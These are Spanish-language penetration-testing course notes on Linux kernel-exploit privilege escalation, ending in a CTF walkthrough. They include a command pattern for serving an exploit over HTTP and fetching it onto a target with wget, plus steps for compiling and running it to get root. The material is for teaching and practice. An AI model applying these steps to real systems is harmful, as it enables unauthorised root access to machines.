XUT_ / COURSES / PENETRATION TESTER

Privilege Escalation - Kernel Exploits

La escalada de privilegios lleva, idealmente, a privilegios root. Esto puede conseguirse explotando una vulnerabilidad existente o accediendo a otra cuenta que tenga más privilegios.

A no ser que una sola vulnerabilidad nos lleve a una shell de root, el proceso de escalada de privilegios se basará en configuraciones erróneas y permisos laxos.

El kernel maneja la comunicación entre componentes como la memoria y aplicaciones en los sistemas Linux. Esta funcionalidad crítica requiere que el kernel tenga permisos específicos, por lo que una explotación exitosa potencialmente llevará a privilegios root.

La metodología de explotación de kernel es sencilla:

  1. Identifica la versión del kernel.
  2. Busca y encuentra un código de exploit para la versión del kernel del objetivo.
  3. Ejecuta el exploit.
CAUTION

Un exploit de kernel fallido puede llevar a un crasheo del sistema. Asegúrate de poder permitirte este riesgo antes de explotar el kernel.


Fuentes de Investigación

  1. Basándote en lo que has encontrado, puedes usar Google para buscar exploits existentes.
  2. Fuentes como esta también pueden ser útiles.
  3. Otra alternativa sería usar un script como LES (Linux Exploit Suggester) pero recuerda que pueden generar falsos positivos o falsos negativos.

Pistas/Notas

  1. Se muy específico al buscar sobre la versión del kernel en Google, Exploit-DB o searchsploit.
  2. Asegúrate de entender cómo funciona el exploit ANTES de ejecutarlo. En un entorno CTF da igual pero puede convertirse en un problema serio en un entorno real.
  3. Algunos exploits requerirán interacción futura una vez ejecutados. Lee todos los comentarios e instrucciones.
  4. Puedes transferir el código de tu máquina al objetivo usando el módulo SimpleHTTPServer de python y wget: python3 -m http.server <puerto> y luego wget http://ip:puerto/ruta

  1. Entramos a la máquina con las credenciales ofrecidas. Privilege Escalation - Kernel Exploits
  2. Vemos si tiene python. Privilege Escalation - Kernel Exploits
  3. Spawneamos la shell. Privilege Escalation - Kernel Exploits
  4. Recolectamos información sobre el kernel. Privilege Escalation - Kernel Exploits
  5. Buscamos exploits para dicha versión. Privilege Escalation - Kernel Exploits
  6. Copiamos el exploit en nuestro sistema y servimos el archivo. Privilege Escalation - Kernel Exploits
  7. Lo descargamos en la máquina objetivo. Privilege Escalation - Kernel Exploits No nos deja escribir en el directorio actual y no tenemos directorio home, así que nos vamos a /tmp y lo descargamos ahí. Privilege Escalation - Kernel Exploits
  8. Lo ejecutamos. Privilege Escalation - Kernel Exploits
  9. No ha funcionado así que vamos a buscar otro exploit. Privilege Escalation - Kernel Exploits
  10. Encontramos otro. Privilege Escalation - Kernel Exploits
  11. Repetimos el proceso de antes hasta llegar al punto de la ejecución y lo compilamos. Privilege Escalation - Kernel Exploits
  12. Obtenemos la consola root. Privilege Escalation - Kernel Exploits
  13. Vamos a buscar la flag. Privilege Escalation - Kernel Exploits
  14. Leemos la flag. Privilege Escalation - Kernel Exploits